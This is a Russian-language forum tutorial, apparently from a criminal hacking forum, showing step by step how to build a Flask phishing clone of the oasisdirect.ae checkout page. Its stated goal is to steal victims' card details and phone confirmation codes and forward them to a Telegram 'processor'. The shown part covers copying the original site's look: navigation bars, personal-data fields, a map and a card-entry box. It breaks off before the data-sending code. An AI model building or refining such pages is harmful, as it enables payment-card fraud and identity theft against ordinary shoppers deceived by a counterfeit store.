• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Написание фиш сайта oasisdirect.ae

CognitoInc

(L3) cache
Пользователь
Регистрация
22.01.2024
Сообщения
155
Реакции
346
В данной статье я хочу показать, как сделать страницу оплаты с отправкой данных в Telegram.

Такое обычно применяется в фейковых сайтах торговых площадок с целью кражи данных карты и последующей обработки полученной карты. Из РУ сегмента в пример могу привести Авито (работа по РУ это очень, очень плохо). Если кратко, то мамонту кидаю ссылку на страницу оплаты, якобы от самой Авито, мамонт вводит данные, затем обработчик вбивает карту, а на странице нашего "Авито" появляется поле для ввода кода с телефона. После его ввода код также отправляется в Telegram обработчику. Не знаю, насколько данная тема еще работает, но все же мне захотелось предоставить пример такой страницы и показать, как оно устроено. В качестве примера буду использовать сайт oasisdirect.ae.

Целью данной статьи является показать, как легко создать подобный сайт, а также более подробно описать работу с HTML и CSS, так как во всех своих предыдущих статьях я лишь мельком описывал работу с веб-страницами. В этой же статье я хочу на практике показать написание страницы с полноценным дизайном, приближенным к оригиналу.

Разрабатывать данный сайт я буду на Python, используя Flask.

Первым делом нужно создать проект. Для этого создадим пустую папку, затем нажмем в ней правую кнопку мыши и выберем Open Folder As PyCharm. Таким образом у нас откроется наше IDE, в котором мы и будем писать весь код. Думаю, показывать, как его устанавливать, не стоит. Также для удобства создадим venv. Venv — это виртуальная среда разработки, если проще, то это папка, в которой будут находиться все скачанные библиотеки, например, тот же Flask.
Для того чтобы настроить и создать venv, нам потребуется в правом нижнем углу нажать на кнопку, показанную на скриншоте.
Screenshot_1.png

Далее выбираем путь для установки venv, указываем путь до нашего проекта.
Затем выбираем путь до нашего Python (обычно путь уже установлен).
Screenshot_2.png

Screenshot_3.png

Далее создадим в PyCharm основной файл, если он еще не создан. Назову его по классике main.py. После создания файла сразу установим необходимые нам библиотеки, а именно то, что нам в данный момент понадобится — Flask.

Теперь, когда проект создан, рассмотрим страницу, которую нам нужно скопировать.
Screenshot_4.png

Screenshot_5.png

Screenshot_6.png

Сайт мы рассмотрели и начнем его копировать, начиная с верхней панели.
Для начала пропишем в нашем Python файле установленную библиотеку Flask.
Python:
from flask import Flask, render_template

Затем инициализируем приложение Flask.
Python:
app = Flask(__name__)

Затем укажем маршрут к странице.
Python:
@app.route('/')
def index():
    return render_template('index.html')

Все файлы HTML по умолчанию Flask ищет в папке templates, поэтому полный путь указывать не нужно.

Python:
if __name__ == '__main__':
    app.run(debug=True)
Эта часть кода обеспечивает нам запуск приложения только если мы будем запускать именно тот файл, в котором этот код написан. В нашем случае у нас всего один Python файл.

С Python файлом пока что мы закончили, теперь перейдем к верхней панели. В нашем случае будет реализована только одна страница сайта, и мы, конечно, можем сделать верхнюю панель прямо в файле страницы, на которой будут поля ввода карты, но обычно такие проекты не состоят из одной страницы. Они состоят из полной копии сайта, а верхняя панель есть на каждой из страниц. Так что с заделом на будущее мы будем делать верхнюю панель отдельным файлом, а затем вызывать ее на всех страницах, где она должна быть, чтобы не вставлять ее код на каждой странице.
Приступим к созданию страницы с панелью навигации. Для этого нам потребуется для начала создать папку templates, в которой будут находиться все наши будущие HTML страницы.
После создания папки создадим в ней файл base.html. В созданный файл вставляем этот код:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Title</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='base.css') }}">
</head>
<body>
    <nav class="navbar">
    </nav>
{% block content %}{% endblock %}
</body>
</html>

В head хранятся такие данные как:
  1. Заголовок страницы.
  2. Кодировка текста.
  3. Ссылка на файл со стилями для этой страницы.
В body находится весь код страницы, в данном случае всего лишь один объект, который и является нашей верхней панелью. Объект nav это объект, который специально создан для того, чтобы делать объекты навигации. Можно, конечно, использовать обычный div, но зачем?

{% block content %}{% endblock %} Эта конструкция используется для заполнения блоками контента из других страниц. В нашем случае, внутри этой конструкции будет основная страница, которую мы будем создавать. Но в основной странице нам также нужно будет указать, какую часть мы выберем для заполнения. Но об этом чуть позже. Сейчас мы создадим CSS файл для страницы с верхней панелью навигации. Название будущего файла мы уже заранее указали в head, а именно - base.css.

После создания файла стилей нам нужно перейти в него и сразу же указать стили для нашей страницы с панелью.
CSS:
body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 0;
}

.navbar {
    background-color: #f8f9fa;
    border-bottom: 1px solid #e7e7e7;
    padding: 10px;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

Если вы взгляните на стили, то можете заметить, что в начале body нет точки, а у navbar точка в начале есть. Это связано с тем, что когда не указывается точка, все объекты указанного типа будут применять данные стили. Точку же нужно ставить на конкретные объекты с определенным названием. В нашем случае это объект nav с классом navbar. То есть если бы у нас на странице было несколько объектов nav и нам нужно было применить ко всем этим объектам один и тот же стиль, мы бы написали так:
CSS:
nav{
}

А если у нас есть несколько объектов nav, но нам нужно указать каждому из них разные стили, то в HTML файле нам нужно указать каждому из объектов разные классы, например:
Python:
<nav class="navbar">
</nav>
<nav class="navbar1">
</nav>
В таком случае, в стилях мы будем писать так:
CSS:
.navbar{
}
.navbar1{
}

Теперь перейдем к самим стилям, которые я указал в .navbar.
  1. background-color: Указывает стиль заднего фона
  2. border-bottom: 1px solid #e7e7e7 Указывает толщину и цвет нижнего бордера. Чтобы указать свойства не только нижнему бордеру, нужно заменить bottom в названии либо на left, right, или же на top.
  3. padding: Означает отступ внутри объекта
  4. CSS:
    display: flex;
    justify-content: space-between;
    align-items: center;
    Указывают на положение объекта.
  5. display: flex; Указывает на то, что объект, у которого есть это свойство, становится гибким. Если проще, представьте, что объект с этим свойством - это стол, на котором можно передвигать предметы.
  6. justify-content Отвечает за то, как расположены объекты внутри. На нашем столе есть 2 телефона и несколько симок. Первый телефон лежит у левого угла, второй лежит у правого угла, а симки лежат между этими двумя телефонами.
  7. align-items: Отвечает за то, как объекты внутри контейнера выравниваются вертикально. Представьте, что вы держите линейку горизонтально и выравниваете все ваши телефоны и симки так, чтобы они были на одном уровне по высоте.
Теперь рассмотрим стили которые указаны в body.
  1. margin: Обозначает отсутупы снаружу объекта.
  2. font-family: Указывает на используемый шрифт.
Т.к body это главный объект, все объекты внутри него будут применять стили из body если у этих объектов нету своих стилей этого же типа.
Пока что со стилями мы зкончили, теперь перейдем к основной странице html.
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
{% extends 'base.html' %}
{% block content %}
    <h1>Здравия желаю XSS</h1>
{% endblock %}

</body>
</html>
{% extends 'base.html' %} Вызывает объекты из base.html. {% block content %} и {% endblock %} Берет объекты внутри себя и грубо говоря вставляет их в {% block content %}{% endblock %}в base.html.

Вот какой на данный момент мы имеем результат открыв страницу index:
Screenshot_8.png

Как видим, на ней также присутствует верхняя панель. Теперь нам нужно настроить стили как у оригинального сайта. Для этого перейдем на сам сайт, наведемся на верхнюю панель, затем нажмем правую кнопку мыши и выберем пункт "Проверить".
Screenshot_9.png


В открывшемся меню в разделе "Стили" ищем объект, у которого указан цвет верхней панели.
Screenshot_10.png


Затем берем этот цвет и вставляем его в свойство background-color нашего объекта navbar.
Таким же образом находим размеры верхней панели и также копируем их себе.
Вот какой код мы получаем:
CSS:
.navbar {
    background-color: #243464;
    border-bottom: 1px solid #e7e7e7;
    padding: 10px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 35px;
}
height как не трудно догадаться, это высота объекта. в нашем случае верхней панели.

Вот как это выглядит на сайте:
Screenshot_11.png

У нас получилось небольшое различие: на оригинале цвет представлен в виде градиента, а у нас сплошной. Через F12 сложно было найти готовый градиент оригинала, поэтому я просто сделаю скриншот оригинальной страницы и использую любой сайт, где можно узнать цвет по пикселям.

Цвета я получил, и теперь внесем изменения в стили. Вот какая строка получилась:
CSS:
background: linear-gradient(to right, #2871a5, #243464);
to right Означает, что градиент будет направлен на правую сторону, а цвета расположены в таком порядке, чтобы первый был с левой стороны объекта, а второй — соответственно с правой. Вот в итоге, вот как выглядит в данный момент наша верхняя панель:
Screenshot_12.png

Цвета и размеры мы подобрали, теперь приступим к добавлению кнопок. Так как я пишу статью в то же время, когда и сам сайт, возможно, будут некоторые правки, о которых я также буду писать. Возможно, вам это поможет представить правильный ход действий без лишних правок на моем примере.

Итак. Первым делом буду добавлять логотип по центру. Чтобы его получить, просто нажимаем по нему правую кнопку мыши и выбираем пункт "Сохранить изображение как". Далее создадим в папке static папку img и закинем туда полученный логотип.
Затем заходим в файл base.html и внутрь объекта с классом navbar вставляем эту строку:
HTML:
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
В данной строке указываем в первых одинарных скобках папку static, а во вторых указываем путь до файла с логотипом. В нем указываем все папки до него, которые следуют после static. Теперь логотип находится на странице, но он по стандарту больше по размерам, чем нам необходимо, а также он не по центру. Для начала мы подгоним размеры. Так как класс я уже добавил к объекту с логотипом, нам нужно лишь в CSS указать его.
Вот как это выглядит:
CSS:
.logo{
    width: 60px;
}

Также нужно центрировать логотип. Для этого нам нужно изменить свойства navbar:
CSS:
.navbar {
    background: linear-gradient(to right, #2871a5, #243464);
    border-bottom: 1px solid #e7e7e7;
    padding: 10px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 35px;
}

Теперь с логотипом разобрались. Вот как это выглядит теперь:
Screenshot_13.png


Сейчас будем добавлять боковые кнопки на панели. Есть несколько вариантов, как это сделать:
  1. Самый верный — зайти на оригинал и скопировать объект кнопки вместе с иконкой.
  2. Заскринить кнопку и у себя на сайте просто вставить как картинку.
  3. Найти такую же иконку на стороннем сайте.
Хоть и первый вариант самый верный, но я хочу показать, как устанавливать сторонние иконки из интернета, поэтому я выберу третий вариант.
Для начала нам нужно добавить объект button внутрь объекта панели.
HTML:
<nav class="navbar">
    <img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
    <button class="button"></button>
</nav>
Обратите внимание, что объекту кнопки я также добавил класс, и первое, что я заметил, это то, что нужно заменить в CSS navbar flex-direction: column; на flex-direction: row;. Это нужно для того, чтобы изменить расположение всех объектов. Раньше они бы шли вниз друг за другом, теперь они будут с лево на право. Справа должно быть 4 кнопки, поэтому дублируем объект кнопки еще 3 раза.
Вот какой результат у нас должен получиться:
Screenshot_14.png


Также нужно добавить еще 2 кнопки с левой стороны и выдвижное меню с кнопками профиля, но так как мы делаем не полную копию сайта, перенаправлять нам при нажатии на кнопки из выдвижного меню некуда, поэтому добавлять я его не буду
Как видно по скриншоту выше, объекты у нас все расположены прямо в центре. А нам нужно разделить их на лево, право, центр.
Для этого вносим левые кнопки в отдельный div блок, также и правые кнопки. Должен получиться такой вот код:
HTML:
<nav class="navbar">
    <div class="left_button">
        <button class="button"></button>
        <button class="button"></button>
    </div>
    <img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
    <div class="right_button">
        <button class="button"></button>
        <button class="button"></button>
        <button class="button"></button>
        <button class="button"></button>
    </div>
</nav>
Также нам опять требуется изменить свойства navbar, установив новое значение justify-content: space-evenly;. Оно разбивает все объекты внутри блока на лево и право. Если объектов, как в нашем случае, 3, то получится, что логотип будет по центру, а кнопки — по бокам, собственно говоря, как нам и нужно. Вот как это выглядит на деле:
Screenshot_15.png

Как видно на скриншоте, кнопки все равно не расположены прямо в левом и правом углах. Для того чтобы это исправить, нам нужно в CSS добавить стили для div блоков, в которых хранятся наши кнопки. Нам нужно добавить свойство margin (напоминаю о том, что это свойство позволяет добавлять внешний отступ у объектов).
Вот как это выглядит в коде:
CSS:
.left_button{
    margin-right: 400px;
}

.right_button{
    margin-left: 400px;
}

Вот как это выглядит на странице:
Screenshot_16.png


Теперь нам необходимо добавить отступы у кнопок с левой и справой стороны. Для этого добавим классу button эти значения:
CSS:
margin-left: 5px;
margin-right: 5px;
Теперь отступы готовы, но так как с левой стороны кнопок их всего 2, а мы сделали одинаковые отступы и для объекта, который хранит кнопки, нужно сделать столько же, сколько и справа, логотип находится не по центру. Поэтому нужно изменить значение для left_button на 490px;.

Теперь нам нужно добавить в наши кнопки иконки. Обычно я использую сайт https://icons8.com/icons. На нем, как правило, есть все иконки, которые мне нужны. Выбираем нужную иконку и получаем на нее ссылку, как на скриншоте.
Screenshot_17.png


Далее просто вставляем ее внутрь нашего button. Но иконки внутри кнопок не центрированы. Чтобы центрировать их, нужно добавить display: flex и еще несколько параметров в стили кнопки:
CSS:
display: flex;
align-items: center;
justify-content: center;

После добавления иконок с верхней панелью мы заканчиваем. Вот как она выглядит в итоге:
Screenshot_18.png


Теперь приступим к панели, которая находится под ней. Добавлять мы новую панель будем также в файле base.html точно так же, как и первую панель. Для начала добавим объект и назначим ему класс navbar1.
HTML:
<nav class="navbar1">

</nav>

Теперь добавим в css стили для этого объекта:
CSS:
.navbar1{
    background-color: #fff;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 60px;
    flex-direction: row;
}

Теперь перейдем обратно в файл HTML и вставим внутрь нашего нового объекта объекты с товарами.
HTML:
<nav class="navbar1">
     <button class="button_products">
        <img class="products" src="{{ url_for('static', filename='img/water.avif') }}" alt="Product Image"/>
        <span>Water</span>
    </button>
    <button class="button_products">
        <img class="products" src="{{ url_for('static', filename='img/juice.avif') }}" alt="Product Image"/>
        <span>Juice</span>
    </button>
    <button class="button_products">
        <img class="products" src="{{ url_for('static', filename='img/dairy.avif') }}" alt="Product Image"/>
        <span>Dairy</span>
    </button>
    <button class="button_products">
        <img class="products" src="{{ url_for('static', filename='img/accessories.avif') }}" alt="Product Image"/>
        <span>Accessories</span>
    </button>
</nav>
Думаю, тут уже все понятно. Изображение делается по аналогии с логотипом, объект кнопки мы уже тоже делали выше, на этом остановиться не буду.
Теперь нам нужно назначить стили для кнопок.
CSS:
.button_products {
    background-color: #fff;
    width: 200px;
    height: 100%;
    border: none;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 0;
}
Тут уже тоже нечего объяснять, такое мы уже делали выше. Но на оригинале при наведении на кнопки происходит смена цвета кнопки. Для этого нам нужно в CSS указать .button_products.
Приписка hover означает, что стили будут применены при наведении на объект. Вот и сами стили:
CSS:
.button_products:hover {
    background-color: #2871a5;
    color: white
}
У нас получается так, что при наведении кнопка становится синей, а текст становится белым. За цвет текста отвечает color: white.

Теперь нам нужно изменить шрифт, чтобы он был похож на тот, что в оригинале. Для этого, первым делом нам нужно создать папку fonts. Я создам ее в папке static. Затем закидываем туда шрифт и переходим в CSS файл base.css, там прописываем такой вот код:
CSS:
@font-face {
    font-family: 'Pioner Sans Light';
    src: url('fonts/PionerSansLight.ttf') format('truetype');
}
В первой строке прописываем название шрифта, во второй прописываем путь до шрифта не забывая ставить нужное разрешение файла. Затем в body вызываем наш шрифт вот такой вот строкой:
CSS:
font-family: 'Pioner Sans Light', sans-serif;

Но к панели с продуктами он не применился, такое бывает, когда у объекта уже есть свои встроенные стили. Чтобы применить именно к панели с продуктами, нужно указать шрифт точно так же, как и в body, но в стили button_products. Если размер шрифта не подходит, подогнать его под нужный можно таким образом:
CSS:
font-size: 23px;

В моем случае также шрифт слишком близко разположен к картинкам продуктов, так что мне еще понадобится добавить margin-left. Напомню, что текст находится в объекте span, класс я ему не назначал, поэтому просто пропишу стили для всех span.
Вот как это выглядит в коде:
CSS:
span{
    margin-left: 5px
}

Вот как в итоге выглядит наша страница:
Screenshot_19.png


С панелями мы закончили, теперь нужно заняться основной страницей, на которой будут поля для ввода. Оригинальная страница разделена на 2 основных div блока, на левый и правый.
Screenshot_20.png

Так что, мы первым делом также добавим 2 блока. Для этого переходим в index.html и между {% block content %} и {% endblock %} пропишем 2 блока с названиями классов left и right. После этого создадим div объект, в который поместим left и right, назначим класс main этому объекту. Затем в его свойствах разместим это:
CSS:
.main{
    display: flex;
    flex-direction: row;
    justify-content: space-between;
}
Это нужно для того, чтобы объекты внутри этого div шли слева направо. Таким образом, мы разместили left и right на нужных местах. Внутри left размещаем 2 div, в каждом из которых будет по 2 поля для ввода.
HTML:
<div class="left">
  <div class="input-row">
    <input type="text" class="custom-input">
    <input type="text" class="custom-input">
  </div>

  <div class="input-row">
    <input type="text" class="custom-input">
    <input type="text" class="custom-input">
  </div>
</div>

В стилях left указываем это:
CSS:
.left {
    display: flex;
    flex-direction: column;
    gap: 10px;
}
Данный код распределит div внутри left, с верху вниз, а так как у нас в каждом блоке по 2 поля ввода, то получится 2 сверху, 2 снизу. Точно так же как и у оригинала.

Вот полный код, который у нас получился на данный момент:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<div class="main">
    <div class="left">
      <div class="input-row">
        <input type="text" class="custom-input">
        <input type="text" class="custom-input">
      </div>

      <div class="input-row">
        <input type="text" class="custom-input">
        <input type="text" class="custom-input">
      </div>
    </div>
    <div class="right">
        <div class="info">
        </div>
        <div class="info1">
        </div>
    </div>
</div>
{% endblock %}
</body>
</html>

Вот стили для объектов:
CSS:
.left {
    display: flex;
    flex-direction: column;
    gap: 10px;
}

.input-row {
  display: flex;
  gap: 10px; /* расстояние между полями ввода в ряду */
}

.custom-input {
  border: none;
  border-bottom: 1px solid black;
  padding: 5px;
  width: 100px; /* ширина поля ввода */
}

.main{
    display: flex;
    flex-direction: row;
    justify-content: space-between;
}

.info{
    background: #eeeeee;
    width: 50px;
    height: 50px;
}

.info1{
    background: #ffffff;
    width: 50px;
    height: 50px;
}

Вот как выглядит на данный момент сама страница:
Screenshot_21.png

Как видно на скриншоте, к объектам в right, я назначил рандомные стили и цвета, это я сделал для того, чтобы вам было понятнее, где и что в данный момент находится на странице.

Сейчас нам нужно сделать правильные размеры и отступы для всех объектов, так что сейчас будет работа только со стилями.
Отступы будем делать с помощью margin, применять его нужно к объектам right и left.
CSS:
.left {
    display: flex;
    flex-direction: column;
    gap: 10px;
    margin-left: 60px;
    margin-top: 70px;
}
.right{
    margin-right: 60px;
    margin-top: 75px;
}

Также нам нужно задать правильные размеры, скругления и тени объектам внутри div right.
CSS:
.info{
    background: #eeeeee;
    width: 400px;
    height: 105px;
    margin-bottom: 10px;
    border-radius: 15px;
    box-shadow: 0px 2px 3px lightgrey;
}

.info1{
    background: #ffffff;
    width: 400px;
    height: 230px;
    border-radius: 15px;
    box-shadow: 0px 1px 2px lightgrey;
}
box-shadow отвечает за тень объекта. Координаты относятся к одной из сторон объекта, а в самом конце прописан цвет тени. border-radius относится к скруглениям объектов.

Вот что по итогу мы получаем:
Screenshot_22.png


Если посмотреть на оригинал и на нашу копию, то можно заметить, что у оригинала в полях для ввода есть текст. Чтобы нам также добавить текст, нам нужно добавить значение value к каждому объекту поля ввода:
HTML:
<input type="text" class="custom-input" value="Текст 1">

Также нам нужно изменить шрифт и цвет текста у полей ввода. На счёт шрифта, так как мы уже прописали его в base.css, он наследуется и к html файлу, который подвязан к base.html. Нам не нужно снова инициализировать шрифт, нужно просто указать его в стилях объекта. Цвет текста меняется свойством color. Вот как в данный момент выглядит страница:
Screenshot_23.png


Теперь нам нужно немного поработать с блоками в блоке right. У верхнего внутри надо добавить бордер, а у нижнего ещё один div блок с тенью. Данные не в один из этих блоков я записывать не буду, так как данные для них должны браться из базы данных о товаре, а так как мы делаем копию только одной страницы, а не всех, то брать нам эти данные неоткуда.
Для того чтобы в верхнем блоке добавить бордер внутри объекта, нам нужно создать ещё 1 div и назначить ему стиль нижнего бордера.
Вот как выглядит HTML этого блока:
HTML:
<div class="right">
    <div class="info">
        <div class="info_block"></div>
    </div>
    <div class="info1">
    </div>
</div>

Вот его стили:
CSS:
.info_block{
    width: 350px;
    border-bottom: 1px solid #929292;
}
Ширина была добавлена, чтобы этот блок с бордером не был по размерам своего родительского блока, так как у оригинала поле с бордером имеет зазоры по бокам. Теперь, чтобы объект был по центру родительского блока, нам нужно добавить свойства к самому родительскому блоку, а именно к .info:
CSS:
.info{
    background: #eeeeee;
    width: 400px;
    height: 105px;
    margin-bottom: 10px;
    border-radius: 15px;
    box-shadow: 0px 2px 3px lightgrey;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
}

Теперь приступим к редактированию нижнего блока. С ним все проще: просто копируем родительский блок, меняем ему название класса и добавляем его внутрь родительского. Стили берем от родительского за исключением нескольких параметров, например размера, в остальном же, они идентичны.
Вот стили этого объекта:
CSS:
.info2{
    background: #ffffff;
    width: 359px;
    height: 140px;
    border-radius: 15px;
    margin-bottom: 20px;
    box-shadow: 0px 0px 2px lightgrey;
}

В родительском так же нужно добавить стили для выравнивания объектов внутри него:
CSS:
.info1{
    background: #ffffff;
    width: 400px;
    height: 230px;
    border-radius: 15px;
    box-shadow: 0px 1px 2px lightgrey;
    display: flex;
    flex-direction: column;
    justify-content: flex-end;
    align-items: center;
}

Вот как теперь выглядит страница в браузере:
Screenshot_24.png

Как я уже говорил, текст в объекты добавлять не стал, так как он должен браться из базы данных магазина, а у нас всего лишь одностраничник. Поэтому переходим к добавлению карты. Оригинал использует 2Gis, поэтому мы тоже будем использовать 2Gis.
Для того чтобы добавить карту, нам нужно, прежде всего, добавить JavaScript код от 2Gis.
HTML:
<script src="https://maps.api.2gis.ru/2.0/loader.js"></script>

Затем опять же добавим еще один js код но напишем его уже сами.
HTML:
<script>
    DG.then(function () {
        var map = DG.map('map', {
            center: [55.751244, 37.618423],
            zoom: 13
        });
    });
</script>
Он нужен для того, чтобы установить координаты, которые будут использоваться на нашей карте по умолчанию.
Затем добавим объект, в котором будет наша карта.
HTML:
<div id="map" style="width: 100%; height: 400px;"></div>
Если обратите внимание на написанный нами JavaScript, то можно увидеть, что он будет ссылаться на объект с id map, которым как раз и является объект, который мы только что добавили.
Под картой у нас должно быть поле для ввода адреса, заморачиваться с ним не нужно, просто копируем любое поле ввода, которое мы уже сделали, меняем название класса и изменяем его длину на 100%. Таким образом, это поле будет растянуто от начала и до конца объекта с классом left.
Вот полный код HTML, который у нас получился:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<div class="main">
    <div class="left">
      <div class="input-row">
        <input type="text" class="custom-input" value="Email *">
        <input type="text" class="custom-input" value="Phone Number *">
      </div>

      <div class="input-row">
        <input type="text" class="custom-input" value="First Name *">
        <input type="text" class="custom-input" value="Last Name *">
      </div>
        <div id="map" style="width: 100%; height: 400px;"></div>
        <input type="text" class="map-input" value="Address *">
    </div>
    <div class="right">
        <div class="info">
            <div class="info_block"></div>
        </div>
        <div class="info1">
            <div class="info2">
        </div>
        </div>
    </div>
</div>
<script src="https://maps.api.2gis.ru/2.0/loader.js"></script>
<script>
    DG.then(function () {
        var map = DG.map('map', {
            center: [55.751244, 37.618423], // Установите координаты центра карты
            zoom: 13
        });
    });
</script>
{% endblock %}
</body>
</html>

Вот полный css код:
CSS:
.left {
    display: flex;
    flex-direction: column;
    gap: 10px;
    margin-left: 60px;
    margin-top: 70px;
}

.input-row {
    display: flex;
    gap: 10px;
    margin-bottom: 20px;
}

.custom-input {
    border: none;
    border-bottom: 1px solid #929292;
    padding: 5px;
    width: 390px;
    height: 20px;
    background: #fafafa;
    color: #929292;
    font-size: 18px;
    font-family: 'Pioner Sans Light', sans-serif;
    padding-top: 25px;
}


.main{
    display: flex;
    flex-direction: row;
    justify-content: space-between;
}

.info{
    background: #eeeeee;
    width: 400px;
    height: 105px;
    margin-bottom: 10px;
    border-radius: 15px;
    box-shadow: 0px 2px 3px lightgrey;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
}

.info1{
    background: #ffffff;
    width: 400px;
    height: 230px;
    border-radius: 15px;
    box-shadow: 0px 1px 2px lightgrey;
    display: flex;
    flex-direction: column;
    justify-content: flex-end;
    align-items: center;
}
.info2{
    background: #ffffff;
    width: 359px;
    height: 140px;
    border-radius: 15px;
    margin-bottom: 20px;
    box-shadow: 0px 0px 2px lightgrey;
}

.right{
    margin-right: 60px;
    margin-top: 75px;
}

.info_block{
    width: 350px;
    border-bottom: 1px solid #929292;
}

.map-input {
    border: none;
    border-bottom: 1px solid #929292;
    padding: 5px;
    width: 100%;
    height: 20px;
    background: #fafafa;
    color: #929292;
    font-size: 18px;
    font-family: 'Pioner Sans Light', sans-serif;
    padding-top: 25px;
}

Вот как выглядит наша страница на данный момент:
Screenshot_25.png


Теперь будем просто добавлять соответствующие поля для ввода, которые есть в оригинале. Для этого будем просто копировать ранее созданные объекты для ввода текста, а именно:
  1. Два объекта, в каждом из которых по 2 поля ввода.
  2. Один объект поля ввода длиной 100%.
  3. Один объект с 2 полями ввода.
  4. Один объект поля ввода длиной 100%.
  5. Один объект поля ввода длиной 100%.
Смысла кидать получившийся код я не вижу, так как там ничего не изменилось. Я не стал менять даже названия классов, так как стили абсолютно идентичны тем, что мы уже сделали, а в конце статьи все равно будут полные исходники. Покажу лишь то, как это выглядит на сайте.
Screenshot_26.png


Далее на оригинальном сайте идет блок с выбором метода оплаты.
Screenshot_27.png


Но нам же нужно, чтобы оплачивали именно картой, поэтому сделаем этот блок только с одним методом оплаты, который просит данные карты. Для этого нам нужно создать в самом низу блока "left" новый div блок. Его класс будет называться "payment_method". Назначим ему пока что такие стили:
CSS:
.payment_method{
    background: #ffffff;
    width: 100%;
    height: 320px;
    border-radius: 14px;
}

После того, как мы добавили объект, нам нужно добавить надпись "Select Your Payment Method". Для этого будем использовать объект span, которому назначим класс, чтобы добавлять стили не на прямую ко всем span, а к конкретному. У нас уже есть обращение ко всем объектам span, и если мы начнем редактировать стили для этой надписи таким методом, все остальные span объекты будут затронуты. Называться класс будет "payment_method_text". В нем мы назначим шрифт, размер шрифта и цвет текста.
CSS:
.payment_method_text{
 font-family: 'Pioner Sans Light', sans-serif;
 font-size: 25px;
 color: #243464;
}

А в его родительский объект добавим padding, чтобы текст не прилегал к краям.
CSS:
.payment_method{
    background: #ffffff;
    width: 100%;
    height: 320px;
    border-radius: 14px;
    padding: 10px;
}

Теперь нам нужно внутрь родительского объекта добавить еще один объект, в котором будет находиться выбранный метод оплаты. Для этого под объектом span мы создаем div с классом "payment" и добавим к нему такие стили:
CSS:
.payment{
    width: 100%;
    height: 60px;
    border-radius: 14px;
    box-shadow: 0px 0px 2px lightgrey;
}
Также добавим ему margin-top, чтобы он не прилегал к span, который находится выше.

Теперь внутрь этого объекта нам нужно добавить надпись "Online Payment" и чекбокс такой же, как у оригинала. Для этого нам нужно создать объект label, в котором будет два span объекта и объект input, который и будет самим чекбоксом.
HTML:
<label class="checkbox-container">
    <input type="checkbox">
    <span class="checkmark"></span>
    <span class="online_payment_text">Online Payment</span>
</label>

А вот и css стили для всех этих объектов:
CSS:
.checkbox-container {
    display: flex;
    align-items: center;
    cursor: pointer;
}


.checkbox-container input[type="checkbox"] {
    display: none;
}


.checkbox-container .checkmark {
    height: 20px;
    width: 20px;
    background-color: #eee;
    border-radius: 50%;
    border: 2px solid #ccc;
    margin-right: 10px;
    position: relative;
}


.checkbox-container input[type="checkbox"]:checked + .checkmark {
    background-color: #ffffff;
    border: 2px solid #243464;
}
  1. В .checkbox-container находятся свойства для выравнивания всех объектов внутри этого объекта.
  2. input[type="checkbox"] - это свойства чекбокса в состоянии, когда он активен.
  3. checkmark нужен для создания кружочка в центре чекбокса, когда он активен.
Вот что в итоге мы можем увидеть на странице в браузере:
Screenshot_28.png


Теперь нам нужно сделать последний элемент на странице, а именно: Поля для ввода банковских данных. Для этого нам нужно создать объект div в самом низу объекта "left" и назвать его класс "card". Т.к. у оригинала есть узоры на углу объекта, делать их самому не вариант. Поэтому лезем через F12 в код объекта на оригинальном сайте и получаем вот такой вот стиль:
CSS:
background-image: linear-gradient(30deg, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 0.2) 70%), linear-gradient(45deg, rgba(255, 255, 255, 0) 75%, rgba(255, 255, 255, 0.2) 75%), linear-gradient(60deg, rgba(255, 255, 255, 0) 80%, rgba(255, 255, 255, 0.2) 80%);
Записываем его в стили объекта "card" и добавляем еще пару стилей, чтобы подогнать размеры самого объекта.
Вот что в итоге у нас получается в CSS:
CSS:
.card{
    width: 415px;
    height: 250px;
    border-radius: 14px;
    background: #3c70a1;
    background-image: linear-gradient(30deg, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 0.2) 70%), linear-gradient(45deg, rgba(255, 255, 255, 0) 75%, rgba(255, 255, 255, 0.2) 75%), linear-gradient(60deg, rgba(255, 255, 255, 0) 80%, rgba(255, 255, 255, 0.2) 80%);
}

А вот как это выглядит на сайте:
Screenshot_29.png


Теперь нужно добавить внутрь этого разрисованного объекта поля для ввода данных. Первым делом создадим div с классом "brand". В нем будет меню для выбора Visa или Mastercard. Для этого объекта назначим стили, чтобы объекты внутри него шли с лева на право.
CSS:
.brand{
    display: flex;
    flex-direction: row;
    margin-top: 10px;
    margin-left: 10px;
}

Затем добавим объект span, чтобы в нем хранилось слово "Brand". Назовем его класс "brand_text". В его стилях мы назначим шрифт и цвет текста.
CSS:
.brand_text{
    font-family: 'Pioner Sans Light', sans-serif;
    color: white;
}

Затем идет объект выпадающего меню:
HTML:
<div class="menu-container">
     <div class="custom-select" onclick="toggleCustomSelect(event)">
         <select>
             <option value="option1">Visa</option>
             <option value="option2">Mastercard</option>
         </select>
     </div>
</div>

Сам объект выпадающего меню называется селектором. Назначим теперь стили селектору, чтобы подогнать его размеры под оригинал.
CSS:
select{
    width: 120px;
    height: 30px;
    border-radius: 5px;
    margin-left: 35px;
}

